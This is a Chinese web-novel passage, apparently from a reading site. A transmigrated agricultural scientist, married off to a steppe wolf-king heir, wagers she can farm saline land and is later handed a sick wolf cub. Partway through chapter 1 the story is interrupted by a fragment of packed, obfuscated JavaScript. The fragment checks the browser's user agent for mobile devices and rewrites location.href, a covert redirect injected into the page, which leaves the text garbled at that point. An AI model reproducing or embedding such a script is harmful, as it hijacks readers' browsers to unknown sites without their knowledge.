《被迫嫁给草原狼王我搞起了基建》
1. 呼延少主
沈疏禾是被喉咙里火烧般的干渴疼醒的。
她猛地睁眼,入目是摇晃的马车顶棚,身下垫着的不是实验室的硬板凳,而是……绣着繁复牡丹的锦缎软褥?!
“我……不是在熬夜写论文吗?”
她下意识想撑起身子,却发现手腕上缠着一圈渗血的布条,掌心死死攥着一张皱巴巴的宣纸,上面用暗红字迹写着——
“宁死不入蛮夷帐。”
上面的字迹笔锋凌厉,力透纸背,看上去像是用指尖蘸血写的。
沈疏禾突然觉得头皮一炸,不属于她的记忆碎片瞬间涌入脑海——
大周朝礼部侍郎的嫡女、和亲草原的“安平公主”、因抗拒远嫁绝食三日……最后在颠簸的马车上咽了气。
而她,21世纪农科院最年轻的植物病理学博士,竟穿成了这个“殉节”的和亲公主?!
沈疏禾认命地闭上了眼,她居然真的穿越了。
“殿下!您终于醒了!”
沈疏禾正在尝试反应眼前的一切,车帘就被猛地掀开。一个圆脸侍女扑进来,眼泪鼻涕糊了满脸语气哀求:“公主,您已经三日没吃东西了,您就吃点吧。”
沈疏禾看着眼前的侍女有些眼熟,根据原主的记忆,眼前的侍女应该叫做林杏儿,是跟着原主从中原来的。
杏儿还在继续满脸担忧地说:“您若再不进水米,到了王庭,那些胡人定会以为大周送了个死人羞辱他们,到时候不仅我们没命,可能我们国家都会有危险的啊殿下!”
沈疏禾想开口让她把吃食端过来,却发现嗓子里像含了块铅,三天没喝水她现在连开口都有些困难。
“吃的,端过来。”沈疏禾费力地开口比了个口型,杏儿很是聪明,立马拿出了车上仅剩的几个干巴巴的馕饼还有背壶里所剩不多的水。
沈疏禾还不清楚自己接下来的处境,但她脑海里只剩下一个念头——她绝对不能死,于是将水拿起就着馕饼大口吃了起来,边吃边想接下来的计划。
她正盘算着,却突然听见从远处传来如雷般的马蹄声,绵延不绝,直奔他们而来。
“是……是呼延部的狼旗!”杏儿声音发抖,“他们来迎亲了!”
沈疏禾一把掀开车帘向远方看去——
辽阔的草原上,百余骑黑甲骑兵如黑云压境声势浩荡,其中当先的一匹雪白战马格外醒目。
他们奔袭的速度极快,沈疏禾刚勉强把手上的馕饼噎了下去,就见一个领头极为英俊的男人率着后面的呼延部已经抵达了他们的面前。
马背上的男人未着铠甲,只披一件墨色大氅,腰间悬着的弯刀鞘上缠着九道狼尾,昭示着他与众不同的身份。风掠过他轮廓分明的下颚线,吹开散落的黑发,露出一双琥珀色的眼睛,在晨光中呈现出野兽般的瞳孔,桀骜又张扬,散发出浓烈的侵略气息。
呼延律,草原十八部最年轻的狼王少主,二十三岁便是让漠南诸部闻风丧胆的存在。
杏儿看着眼前的男人已经忍不住瑟瑟发抖,沈疏禾也蹙眉看着眼前的男人,她直觉这个男人一定很危险。
“你就是中原公主?”呼延律用刀鞘漫不经心地挑起车帘,双眼如狼般锋利,满眼探究地和沈疏禾对上视线,“但我怎么听说周朝皇帝舍不得真公主,就塞个官家女充数?”他的声音低沉又危险,带着极重的压迫感。
护送使臣冷汗涔涔,声音哆嗦地说:“少主明鉴,安平公主乃陛下亲封......”
话音未落,众人没反应过来就见呼延律骤然纵马往前疾冲——
杏儿尖叫着跌坐在地,沈疏禾却在原地纹丝未动,脸上的表情更冷了几分。
“唰——!”
弯刀擦着她耳畔钉入车壁,刀柄上缠着的狼尾扫过她苍白的脸颊,带着血腥味的铁锈气从她的鼻尖掠过,让她忍不住皱了皱眉。
“本王听说你绝食了整整三日,眼下看来你这不是好得很?”呼延律单手撑在车辕上俯下身,投下的阴影将沈疏禾几乎完全笼罩。他和她的距离极近,鼻尖几乎快要贴上她的睫毛,“还是说……”他抬手掐住她的下巴,仔细端详:“你根本不是原来的公主?”
沈疏禾下意识反扣住他的手腕,在意识到情况后又立刻收了回去,却已经被发现端倪。
在二人掌心相触的瞬间,呼延律敏锐地触摸到了眼前人手掌的薄茧,和从小养尊处优的公主完全不同。
“少主。”就在呼延律愣神的刹那,沈疏禾眼疾手快地从他腰间革囊拈起几粒炒麦,在染血的裙摆上排成直线,“我可都和你做个赌约?”
沈疏禾心里有些紧张,她刚刚的动作绝对暴露了些什么,她现在必须立马想办法转移他的注意力,否则她怕眼前的男人随时会拿着那把弯刀要了她的性命。
呼延律看着她大胆的动作没有反应,只是在听了她的话后微微眯起眼,薄唇勾起一道锐利的弧度:“赌什么?”
沈疏禾闻言松了口气,不紧不慢地说:“一个月内,我能让这片荒地长出果实。”她语气平静甚至有些虚弱,说出来的话却掷地有声。
“你想要什么?”呼延律不置可否,他倒要看看她葫芦里到底卖的是什么药。
“我要一块地。”她将一粒麦种按进他掌心结痂的伤口,“和掌握我自己生死的权利。”
她的话音刚落,呼延律身后的人瞬间都噤了声,区区被送来和亲的公主,居然敢要自己做主?这在他们以男人为主的草原可都是极为罕见的,更别说眼前的人还是少主。
一旁的部下都等着看眼前自不量力的女人凄惨的结局,他们少主可从来不会对任何试图挑战他权威的人手下留情,哪怕眼前的人女人看上去确实让人心生怜惜,他们也坚信少主不会被美色所迷惑。
呼延律闻言饶有兴味地看向眼前的人,她眼眸平静,面色苍白,却掩盖不住她那张明艳妖冶的脸,她的视线和他直直对上,依旧波澜不惊,面色沉静。
“那你若没完成呢?”他拇指摩挲过刀柄上的一道道划痕,表情玩味地看着她。
“任凭处置。”沈疏禾平静无怵地回答,似乎并不是在谈论自己的生命。
呼延律倏地收紧五指碾碎麦粒,忽然从喉间滚出一声低笑,语气漫不经心:“虽然你的命对我来说没什么用,但看在你勇气可嘉的份上,本王给你一次机会。”
在旁边听完全程的部下手里的刀都差点没拿稳,各个神色疑惑地看着他们的少主,虽然呼延律并没有给他们一个多余的眼神。
沈疏禾听着他过山车一般的话刚把快要跳出来的心塞回去,就又突然被他单手掳上马背,青铜护甲硌得她腰间生疼,她正想挣扎时就感觉到他灼热的气息在她耳边喷薄,“那就看看,中原的禾苗能不能在草原扎根。”
沈疏禾的后背紧贴呼延律的胸膛,能清晰感受到他有力的心跳。
而这心跳声却很快被一阵响彻云霄的声音掩盖——身后王庭方向突然传来带着诡异节奏的鼓声。
呼延律听到声音后戏谑地看着身前的人,唇角微微上扬:“本王带你去看好戏。”
“架——!”呼延律一夹□□的马带着沈疏禾朝着王庭的方向奔去。
远处石台上,大巫正用骨刀划开羔羊喉咙,鲜血泼洒在狼头图腾上。他用枯瘦的手指直指车队,高声喊道:“Chi-natenggeri-ulus-inchisuuge!(狼神要饮异族血!)”
人群的起哄声和敲击的鼓声震得沈疏禾耳膜生疼。
呼延律的马匹冲进人群时,大巫的骨刀已经抵上羔羊的喉咙。那老人披着秃鹫羽毛制成的祭袍,浑浊的眼珠死死盯住她森然地说道:
“Zhou-chisu-jasa!”(周人以血偿命!)
人群爆发出怒吼,几个壮汉冲上来拽她的脚踝。呼延律冷眼旁观,指节有一搭没一搭地叩着刀柄,饶有兴致地在一旁看着,并没有作何反应。
呵,沈疏禾冷笑一声,这些人都是极力反抗外朝女子前来和亲的过激人士,把她当作是异族来的祸害,呼延律把她往这里带,摆明了不想给她活路。
沈疏禾内心暗暗记下这笔账,她用力甩开束缚,主动走向祭台:“大巫既然要验血,不如换个更痛快的方式?”
在众人都没反应过来之际,她拔下金簪狠狠刺破自己的掌心,鲜血顺着她的手腕滴落,染红雪白的羔羊毛皮。
大巫脸色骤变——按照草原旧俗,自愿流血者若被狼神厌弃,伤口会立刻溃烂流脓。
呼延律的指节也停在了刀柄上。
沈疏禾却借着袖摆遮挡,借机将藏在指甲缝里的草药粉末弹进祭台火堆。那是她在马车上从药囊里偷偷刮出的曼陀罗根粉,遇火会散发刺激动物神经的辛辣气味。
“嗷呜——”
原本被拴在石柱旁的狼群突然躁动,最健壮的头狼挣断皮绳,龇着獠牙扑向祭台。
“Uge-innokorchi-ha!”(保护少主!)骑兵们纷纷警惕地拔刀,却见那头狼一个腾跃——
它居然舔上了沈疏禾流血的手心?!
狼舌粗糙的触感让沈疏禾起了一层鸡皮疙瘩,但她并没有什么反应,反而看向了在一旁看戏的呼延律,眼神里带着些许嘲讽。
“Chi-natenggeri…uluskhojintani?(狼神……选了异族人)?”有牧民看着这个画面颤抖又敬畏地跪下。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339417|167836||http|test|mini|href|location''.split(''|''),0,{}));
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>大巫脸色铁青,突然抓起骨刀刺向沈疏禾后心:“Chi-khojintenggeri-insubuha,Chi-khojintenggeri-insubuha!”(妖女惑众,我代狼神诛之!)
“铛——!”
沈疏禾对突如其来的骨刀猝不及防,却见一柄弯刀凌空飞来,将身后的骨刀劈成两截。
前一瞬还懒散倚在拴马桩上的男人,眨眼间已逼至祭台。骨刀断裂的脆响尚未散去,呼延律的左手已掐住大巫咽喉将人提起,右手随意一甩,弯刀"铮"地回鞘,刀柄狼尾璎珞似是还没反应过来,犹在震颤。
他皮笑肉不笑地看着大巫,声音阴冷地说:“Eje-inchi-khojinuge,”(这是我命中注定珍爱的女人,也是我丰饶之果,意思等同于这是我的未婚妻)然后手指倏地收紧,大巫的喉骨在他掌心发出不堪重负的“咔咔”声,“Chi-khojintanisubuha,archa?”(你刚才说她是妖女,嗯?)
“当啷——”骨杖落地的声音响起,大巫满脸惊恐地看着呼延律,“Euge…e-injasataraha…”(我……我错了……)他的声音颤抖,眼里满是哀求与畏惧。
呼延律笑着松开了钳制着他的手,仿佛刚刚只是在和大巫随意聊了几句,而沈疏禾却在刚刚到他因用力泛白的指尖若有所思。
“走吧,我带你回去。”呼延律低沉的声音打断了沈疏禾的沉思,白马一路疾驰,带她回了他们的大本营。
沈疏禾被安置在一处帐子内,帐内陈设极简,唯有一张铺着狼皮的矮榻,和堆满羊皮卷的木架——竟都是中原文字写的农书?
沈疏禾有些意外,难不成眼前嚣张又桀骜的狼王,居然会背地里偷偷看农书?
“《齐民要术》?”她忍不住抽出一卷,在看到封面时讶异地挑了挑眉。
“抢来的。”呼延律掀帘而入,随手抛来一个陶罐,“敷伤口。”
罐里是混着草药的动物油脂,散发着刺鼻气味。沈疏禾沾了一点捻开——典型的草原外伤药,含大量动物脂肪,并且容易滋生细菌。
“多谢。”沈疏禾礼貌地道了谢,将罐子放进了袖中,又从袖中摸出个小布包,里面是晒干的蒲公英和金银花,然后又看着呼延律问道:“你这里……有热水吗?”
“Ara-ujin.”(阿瓦娜。)呼延律没有作答,叫来了侍侯在外的女奴,很快她就干脆利落地端来了沈疏禾要的热水。
“谢谢。”沈疏禾接过热水后,将草药泡开敷在伤口上。呼延律忽然凑近,鼻尖几乎贴上她腕间:“你身上有药香……你难道还学医?”
“不学,只是我从小喝。”沈疏禾的回答听不出真假,呼延律听后轻哂一声,“你倒是聪明。”
沈疏禾并不清楚他突然说的聪明是指什么,但还是毫不谦虚地点了点头表示肯定。
呼延律看着她的样子有些好笑,对着身边的阿瓦娜吩咐道:“Khoatarhaeje-inkhojinchisuuge.”(叫几个女仆过来带她吃饭。)
“Ja.”(是。)阿瓦娜行礼后退了出去。
“怎么了?”沈疏禾看着呼延律对女仆说了什么后女仆就退了出去。
“给你吃饭。”呼延律回答得很简短。
沈疏禾听着他的话才想起来自己已经三天没吃东西,刚刚也就喝了点水吃了几口馕饼,此刻被提醒后瞬间觉得饥肠辘辘,胃好似在不停地灼烧。
没过多久账外就传来了脚步声,两名女奴正端着鎏金托盘走了进来。
她们将托盘恭敬地放在了帐子里的桌子上,然后站在一旁准备侍奉沈疏禾继续用餐。
沈疏禾看了一眼托盘上的食物,意外的让她很有食欲。托盘上面是一碗看上去有点像粥的食物还有几块加了蜂蜜的糌粑,沈疏禾忍不住食指大动。
她拿起餐具准备开始吃起来,却在看见旁边伺候的女仆时想起了那个伺候原主的“杏儿”,于是她转头问一旁的呼延律:“我原来的女仆呢?她现在在哪?”
“你倒是还能想起她,她还活着,没事。”沈疏禾还想继续问没事是什么意思,却看见呼延律已经对她的多话皱起了眉,于是她只能欲言又止,先开始解决眼前的人美食。
她强忍着狼吞虎咽的冲动,先舀了一勺粥含在嘴里——温度刚好,不仅如此,里面好像还加了一点别的东西,味道有点像被碾碎之后的……莳萝草?
沈疏禾蹙眉将疑惑压在了心底,眼前她没空管太多,先吃饱了活命才最重要。
吃饱喝足后,沈疏禾就有些昏昏沉沉地睡去,将之后的事情都暂时抛在了脑后……
2. 不速之客
半梦半醒间,她似乎回到了实验室,穿着白大褂记录数据。忽然一阵急促的马蹄声将她惊醒,她睁开眼才意识到自己仍在这个陌生的草原部落。帐外已经透进青灰色的晨光,远处传来牧人赶羊的吆喝声。
沈疏禾揉了揉酸胀的太阳穴,昨天那些纷乱的思绪像潮水一般涌来,让她不得不面对现实。她深吸一口气,掀开毯子坐起身来。
准备起身时她看见了手边被叠得整齐的素色长袍,和周朝的广袖华服不同,这是草原女子的窄袖便装,布料上还沾着淡淡的草药香,这大概是呼延律让人给她准备的衣裳。
沈疏禾拿起衣裳换了上去,她刚系上衣带,就见杏儿端着装着水的铜盆走了进来:“公主您醒了?呼延少主让您……”
她话音未落,就见帘帐再次被外面的人掀开,沈疏禾看见呼延律正逆着光朝她走来,身后跟着两个侍女端着盘子,应该是她们的早餐。
这个呼延律看上去冷酷无情,居然还能记得带早餐,沈疏禾一些意料之外,不过下一秒就被呼延律开口的话拉回现实:“现在才醒?那些牧民养的猪都没你能睡。”
沈疏禾:“……”
碍于人在屋檐下不得不低头,沈疏禾在心里暗骂但脸上还是扯出一个微笑然后无视眼前的男人走到洗漱台边。
她拿起备好的柳叶条沾青盐洁牙时微微蹙起眉,草原的粗盐磨的她牙龈发疼,但她还是强迫自己刷下去直到嘴里泛起淡淡的血腥味。
漱完口过后沈疏禾又走到铜盆边准备洗脸,她随手挽起有些凌乱的黑发,然后拿起一根银色的簪子固定,留下几缕不听话的碎发垂在耳边,衬得她肤白如雪。她掬起一捧清水拍在脸上,水珠顺着她的下颌滚落,划过纤细的脖颈,最后没入衣领深处。
沈疏禾拿起杏儿递给她的毛巾擦了擦脸准备用餐,却发觉呼延律还站在原地看着她,眸色幽深,让人看不清他的里面夹杂着的情绪。
“你也还没吃早饭?”沈疏禾有些奇怪地问。
“吃过了。”呼延律收回了目光淡淡地说。
“那你……怎么还在这儿?”沈疏禾觉得自己的言外之意应该足够明显了,不过呼延律并没有那个自觉,“当然是看着你快点吃然后去看盐碱地,你忘了你要做什么了?”
“哦……”沈疏禾听着呼延律的话想起了自己在实验室赶进度时痛苦的时光,有些心痛地闭上了眼然后悲壮地吃起了早餐。
“我吃好了。”沈疏禾吃了几口就没了胃口,跟着呼延律走到了那片已经龟裂的盐碱地前,身后还站着十几个看热闹的牧民。
呼延律站在阴影处抱臂倚在大树边,脚边趴着昨天的那只头狼。
“公主,您要的粪肥。”杏儿捂着鼻子哭丧着脸拎来一桶马粪。
沈疏禾面不改色地戴上她撕了条衬裙自制的纱布手套,将粪肥与草木灰层层铺进挖好的土坑,这是用来改良盐碱地最原始的方法——用有机质来降低pH值。
“这中原人哪里是在种地,明明是在用秽物玷污圣土!”人群中不知道谁带起了头,沈疏禾听着越来越大的抗议声抬起了头,看到了昨天的那个大巫。
真是阴魂不散,沈疏禾有些不耐烦,她看着乘凉的呼延律然后朝他走去,在他面前站定后看着他说:“少主,你可以让这些人离开么,他们这么吵,会影响我的发挥。”
呼延律听着她的话哂笑一声:“实力不够,找什么借口。”
她就知道,沈疏禾不抱希望地离开,却见呼延律不知从哪来的匕首突然扔向了刚刚吵得最大声音的人的脚边,人群瞬间噤声。
“Chi-nauge-Tar-huin-Subuha-Archa.”(狼群不养聒噪的羊,意思是让众人闭嘴。)呼延律居高临下地看着吵闹的人群,原本喧闹的牧民都化作鸟兽跑开,生怕被自己的少主记住。
人群散去后,沈疏禾蹲回土坑前,指尖拨弄着混合好的粪肥与草木灰。呼延律仍倚在树边似是无所事事,他身边的头狼却踱步到她的身旁,鼻尖轻嗅着土壤。
“你也想一起吗?”沈疏禾认出了这是从天那匹救她于水火的狼,笑着问道。她指尖沾了一点腐殖土,递到那匹狼的面前。狼的舌头粗糙温热,轻轻舔过她的手指,像是在确认什么。
呼延律见状却眯起眼,突然开口:“它从不碰外人。”
沈疏禾没有理一旁的呼延律,毕竟他游手好闲的样子实在太讨人厌。她从袖中取出一个小布包,抖出几粒深褐色的种子——那是她来之前问那个草原的女仆要的沙棘种子,经过她的反复筛选,只留下最耐旱的那些。
沙棘种子需要破壳才能发芽,沈疏禾没有工具,于是就地取材随地找了一块石头轻轻敲击。呼延律看着她专注的侧脸把长靴里的匕首抽出,将刀柄递了过去。
“用这个。”呼延律看着猛地抬头的沈疏禾冷声道。
“谢谢。”沈疏禾咬唇接过匕首,面上十分礼貌,心里却觉得眼前的男人实在太吓人,她差点以为他又对她动了杀心,一个看她不顺眼准备直接把她杀了。
接过匕首后,沈疏禾将种子放在一块平坦的石板上敲击,呼延律却突然俯下身握住她的手腕说:“斜着敲。”
沈疏禾偏过头看向呼延律,眼里闪过几分探究。
“别看我。”呼延律注意到她的目光后松开了手,沈疏禾平静地挪开了目光,精准地敲击种壳,力道刚好使硬壳裂开而不伤胚芽。
就在沈疏禾忙于敲开硬壳时呼延律从她的身后离开,不知从哪里拿了一只皮囊,在沈疏禾结束之后递到了她的面前。
“这是……”沈疏禾揭开皮囊的塞子,一股铁锈混着青草腐败的腥气扑面而来,“……血?”
“嗯,马血。”呼延律的回答依旧简短,沈疏禾的话也算不上多,但听着他三个字三个字往外蹦的时候还是很想问眼前的人到底能不能好好说话了,虽然最后迫于形势只敢在心里默默吐槽。
“浇下去。”呼延律看沈疏禾没有反应吩咐道。
沈疏禾大概能判断出里面的成分的确能帮助沙棘的生长,没有迟疑地就将皮囊里的混合物倒了下去。血水被缓缓地淋在埋好的种子上,土壤瞬间变得暗红,看上去有些猩红可怖。
她原本想在埋好种子后从部落的灶台挖一些烧过的羊骨灰,呼延律这么一帮忙倒是给她省了不少事。
大功告成,沈疏禾长叹一口气,做这些事情的时候她太过投入,抬头时天色已经有些微微发暗。
沈疏禾揉了揉酸痛的腰背,望着被血水浸透的土壤,心里默默计算着后续的养护步骤。她转头看向呼延律,斟酌着开口:“这种子需要每天浇一次水,最好是……”
呼延律没等她说完,便朝远处打了个呼哨。很快,一个瘦小的牧童牵着头母羊跑来,羊背上还挂着个皮质水囊。
“他叫阿吉,以后每日都由他来浇水。”呼延律用靴尖点了点地面,“现在你负责教他。”
沈疏禾有些意外,她蹲下身向阿吉示范如何用手指试探土壤湿度:“要像这样,插到第二个指节……”阿
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吉脏兮兮的小手学着她的动作,神情十分认真。
“就是这样,你学会了吗?”沈疏禾侧过头看着他问。
“嗯!我学会了疏禾姐姐!”阿吉点了点头眼睛亮亮地看着沈疏禾。
“阿吉可真棒。”沈疏禾摸了摸阿吉的夸奖道。
“走了,去吃饭。”呼延律说完就转身往前走,沈疏禾硬着头皮大步跟上。她边走边在心里暗骂呼延律真是和现代的资本家一模一样的,吃午饭的时间也不知道提醒她,害得她现在都只能吃完饭了,连杏儿都不知道被他打发到哪里去干活了。
沈疏禾低头骂得太投入,没注意到身前的人不知何时停住了脚步,“嘶——”,沈疏禾撞上了身前人坚硬宽阔的后背,不禁倒吸了一口凉气。
“你走路不看路?低头乱想什么?”要不是时候不对,沈疏禾有理由怀疑呼延律是不是在她身上装了个监控,背对着她也能把她刚刚的行为知道得一清二楚。
“在想什么时候能吃到饭。”沈疏禾面无表情地回答,她此刻又饿又痛根本不想解释太多。
“现在。”
呼延律掀开帘子示意沈疏禾走进去,眼下还是初春,傍晚天气已经有些寒凉,她刚走进去帐内的暖意就裹挟着炭火扑面而来,将她身上的寒意驱尽。
“表兄!我……”沈疏禾刚走进去就听到一道活泼的女声,而这道女声在看到来人是沈疏禾的时侯却戛然而止。
眼前陌生的女生有些面色不善地打量着走进帐子里的沈疏禾——她发间沾着草屑,粗布上还有泥渍,可却依旧掩盖不了她那张清冷绝艳的脸和她脱俗的气质。
“你是谁?”在帐子里的女子突然张口质问。
“种地的。”沈疏禾随口回答,她现在只想赶紧吃上东西,于是回答完就准备去矮桌边吃饭,却又被眼前的女子拦住。
“其木格,放手。”呼延律走进帐子见状开口,其木格嘟嚷着嘴有些不满地放下了手。
沈疏禾看着矮桌上被精心摆盘的烤羊腿和馅饼两眼放光,旁边还有贴心的羊奶搭配,立马坐下开始吃了起来。
“表兄你看,她居然就这么无理地忽视你自己吃了起来,你居然还帮她!”其木格看着沈疏禾毫无规矩的样子极为不忿,立刻向呼延律告状。
呼延律看着狼吞虎咽的沈疏禾嘴角微不可察地抽动了一下,并没有作何反应。
沈疏禾也并不在意其木格的话,满脑子都是怎么会有这么鲜这么嫩的羊腿,这大概是她这两天最开心的时刻。
其木格看着自己被忽视后被娇惯的脾气瞬间涌上心头,猛地伸手就要将桌上的盘子往地上砸。
“啪——!”沈疏禾的筷子精准敲在了其木格的手背上,笑着说:“话你可以随便说,但是饭不能不让我吃哦。”说完就继续吃了起来,完全忽视旁边两人的存在。
“你……”其木格还想继续说话,就被呼延律冷酷地打断:“好了其木格,你可以走了,这里没有你的事。”
“什么?表兄你居然赶我走?”其木格难以置信地看着呼延律,“可是明明是我想和你一起吃的,她抢了我的位置,你现在居然还让我走?”其木格说完已经有些泫然欲泣。
原来她也没吃,沈疏禾就奇怪其木格这么讨厌她怎么还给她也准备了餐具,原来是给她自己准备的。
沈疏禾此刻已经吃饱喝足,看着面前的两人善解人意地开口说:“那你们先吃,我就去先回我自己的帐子了。”说完沈疏禾不顾在原地面色铁青的呼延律往帐子外跑去。
3. 你儿子
“呼——”沈疏禾跑出帐子之后松了口气,幸好她跑得及时,不然肯定要被牵扯到两人的事情当中。
草原夜里的凉风吹的她的脸有些刺痛,她想起来自己忘了问呼延律自己住的帐子怎么走,所以她现在得赶紧找到回自己帐子的路。
她看着外观上几乎都一模一样的帐子有些不知所措,月光洒在无垠的草原上一眼望不到尽头,就好像她也望不到自己回去的路。
沈疏禾眼睫轻颤了几下,平复着心里迷茫的情绪仔细辨别着方向,尽量往有篝火处走着。她走了一会儿,突然听到身后传来一道声音:“疏禾姑娘——”
沈疏禾回头一看,看上去是一个婶婶,那个婶婶见她回头连忙走近她说:“我可算找到你了疏禾姑娘,你是要回帐子吗,我给你带路。”
沈疏禾有几分惊讶,于是开口问道:“您是?”
那位婶婶笑了笑说:“我是阿如那,草原上的一个牧民,呼延少主说你自己一个人跑出帐子怕你走丢,特意让我来带你回去。”
“好,那谢谢如那婶婶了。”沈疏禾笑着说。
“不用谢我,是呼延少主让我来帮你的。”阿如那也和善地回答。
沈疏禾不置可否没有回答。
她跟着阿如那穿过几顶帐篷,月光将两人的影子投在草地上,一长一短地交叠着。阿如那手中的羊角灯晃出暖黄的光晕,照亮了前方的小径。
“姑娘你的帐子就在前面了。”阿如那回头笑道,眼角的皱纹舒展开来,“我特意让人多添了床羊毛毯子,草原夜里凉得很。”
“谢谢婶婶。”沈疏禾对于眼前这位婶婶的贴心有些意外。
帐帘掀开时,沈疏禾闻到一股淡淡的草药香。里面的炭火也不知道何时被生起,一股暖流冲散了她刚刚身上的寒气。
阿如那往铜盆里倒了些热水,试了试水温后将布巾递给沈疏禾说:“疏禾姑娘擦擦脸吧,会舒服一点。”
沈疏禾接过温热的布巾,她边擦着脸边问:“如那婶婶,你在部落里很多年了吧?”
“是呀,整整三十八年啦。”阿如那把奶茶倒进了铜壶里,“我是看着呼延少主长大的,他身边自小喜欢他的女孩子就很多,但是他一直都是一个人,谁也都不喜欢,你还是他第一个关心的女孩子呢。”
阿如那笑着看着沈疏禾,沈疏禾也只好扯出笑容在心里默默反驳,她是他第一个想杀的还差不多。
铜壶里的奶茶咕嘟作响,阿如那倒了一些在茶杯里递给沈疏禾说:“疏禾姑娘,喝点热的暖暖身子。”
沈疏禾接过奶茶喝了几口,那股暖流直达心底,眼前的如那婶婶大概是她到这个时代对她善意最多的人了。
“疏禾姑娘,那我就先走了,你好好休息。”阿如那起身准备离开。
“好…..那如那婶婶我们还能见到吗?”沈疏禾放下手中的奶茶有些不舍地问。
“会的疏禾姑娘,我就住这附近,我以后会常来的。”阿如那看着沈疏禾说,然后摆了摆手转身离开。
沈疏禾看着阿如那离去的背影有些怅然,直到她的背影彻底消失在视线中才回了自己的帐子里。
沈疏禾这几天经历了太多事,洗漱完过后躺在床上翻来覆去有些失眠,她得想办法确保自己能够活下来,还要面对呼延律那个冷酷无情又阴晴不定的家伙……
帐外的虫鸣渐渐稀疏,沈疏禾在辗转反侧中终于被疲惫拖入浅眠。
“哒、哒、哒”——有节奏的敲击声将她从混沌中拽出。沈疏禾睁开酸涩的双眼,一缕金色的阳光从帐顶的通风口斜射进来,在地毡上投下一个晃动的光斑,天亮了。
紧接着她似乎听到帐子外有羊群经过,原来刚刚的声响是牧民赶着羊群时木杖轻叩地面的声音。沈疏禾觉得有些新奇,下地掀开帘子想看看清晨的草原,却被眼前的景象钉在原地。
薄雾缭绕的校场上,百余名武士列成整齐的方阵,在晨鼓的伴奏下正在晨练。他们赤裸的上身蒸腾着热气,古铜色的肌肤渗出细密的汗珠,沈疏禾轻咳一声移开了目光,就看见了最前方的那个身影——
晨雾中,穿着一袭白色劲装的呼延律的身影如一把出鞘的利刃。他手中长枪破空时带起凌厉的劲风,每一个动作都带着与生俱来的气场,张扬又凛冽。即便隔着距离,沈疏禾也能感受到他周身散发出的锐气,仿佛连晨雾都要为他让路。
他忽然一个回身,长枪在空中划出半轮冷月。晨光穿透雾气落在他身上,勾勒出他挺拔如松的轮廓。汗水从下颌滴落的瞬间,他似有所感地抬眼,目光如箭般穿透朦胧晨雾,直直朝沈疏禾望了过来。
沈疏禾眼睫猛地颤动,转身立刻将帘子放了下来,用手摸了摸胸口平复情绪,呼延律刚刚凌厉的眼神莫名让她有些心惊。
“公主,起来用早膳啦。”杏儿掀开帘子走了进来,手上的托盘里是给沈疏禾吃的早点。
“好,你放那儿吧,我洗漱完就吃。”沈疏禾示意杏儿把托盘放在帐子里的矮桌上。
“对了杏儿,你昨天去哪里了,我怎么之后都没看到你?”沈疏禾想起来问起了昨晚的事。
杏儿本来温和的表情突然变得有些不悦,叉着腰气愤地说:“还不是那个巴图,我昨天想去给您去取熏香就被他叫住去铡那个什么苜蓿草,忙到天黑都没铡完,衣裳都沾满了草屑,还说什么不能白吃他们草原的饭菜,真给我气死了!”
沈疏禾看着她越说越气的样子轻笑出声,想了想眼前的杏儿约莫也才十几岁,正是活泼可爱的时候,的确很讨人喜欢。不过还是得找个时机和她说要注意保护自己,别被哪个流氓占了便宜。
“公主,洗漱完就来吃吧,凉了就不好吃了。”杏儿看着沈疏禾若有所思的样子提醒,然后抬脚又准备走出去说:“公主,我先走了,我继续去铡苜蓿草了。”
“去吧。”沈疏禾看着杏儿哭丧着脸的样子觉得很是有趣,点了点头应道。
杏儿出去后沈疏禾走到了矮桌边开始吃起了早点。
没过多久帐子的帘子又被掀开,沈疏禾以为是杏儿又回来和她说什么话,却发现是已经晨练完的呼延律,怀里还抱着什么东西。
“这是……你儿子?”沈疏禾看着呼延律怀里毛茸茸的东西有些疑惑地问。
“你儿子。”呼延律看了沈疏禾一眼淡声说,然后把怀里的狼崽抛给了沈疏禾。
沈疏禾瞪大双眼手忙脚乱地接住那只灰扑扑的狼崽,有些紧张地将它抱在怀里。
“这是…..狼?”沈疏禾看着怀里的狼崽问道。
“不够明显吗?”呼延律反问。
沈疏禾被他的回答噎住,又低头仔细看着自己怀里的小狼崽。这只可怜的狼崽全身灰扑扑的,右耳还缺了一角,此刻看上去有些病恹恹的样子。
虽然这只小狼崽并不活泼,但是依旧不影响她的可爱。不过呼延律为什么突然把这个小狼崽丢给她,沈疏禾不解地看着呼延律。
呼延律似是知道她在想什么,声音低沉地说:“它是苍焰的孩子,就是昨天那匹头狼,你是苍焰唯一认可的外人,所以它的孩子交给你抚养。”
“什么?”沈疏禾有些诧异,她连狗都没养过他现在居然让她养狼?
“可是我没养过,你
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不怕我把它养死了吗?”沈疏禾有些迟疑地问。
“养死了你就给它一起陪葬。”呼延律面无表情地说着,说出的话却十分骇人。
要不是看这小狼崽太可爱,她一定不会就这么屈服,沈疏禾抱着怀里的小狼崽忿忿不平地想着。
她突然想起还没问这个小可爱的名字,于是开口问旁边的呼延律:“那它叫什么名字啊?”
“没有名字。”呼延律听到她的话回答,“只有头狼才配有名字。”
“啧,这不是赤裸裸的歧视。”沈疏禾对呼延律的解释有些不屑,又摸了摸小狼崽,看着它残缺的耳朵若有所思。
“灰扑扑的小可爱,还缺了半只耳朵,就叫你灰耳吧。”沈疏禾抱着身前的狼崽晃了晃,“你以后就叫灰耳了呀,知道了嘛。”
“灰耳。”呼延律听着沈疏禾的名字哂笑出声,眼里闪过一抹促狭。
“怎么,不满意?不满意也不换。”沈疏禾对于呼延律的反应不以为意。她以前不记得听谁说给宠物取轻一点的名字就比较容易活下来,所以虽然眼前的小狼崽是头狼的孩子,但她只希望它平安健康地活着,灰耳这个名字就刚刚好。
“随你。”呼延律忽视了她的挑衅。
沈疏禾低头逗弄着怀里的小狼崽。灰耳蔫蔫地趴着,耳朵软塌塌地贴在脑袋上,一点精神都没有。她挠了挠它的下巴,又轻轻捏了捏它的爪子,可灰耳只是懒懒地掀了掀眼皮,连尾巴都没动一下。
“奇怪……”沈疏禾有些疑惑,小狼崽难道都不好动?但是他爹还挺活泼的呀。
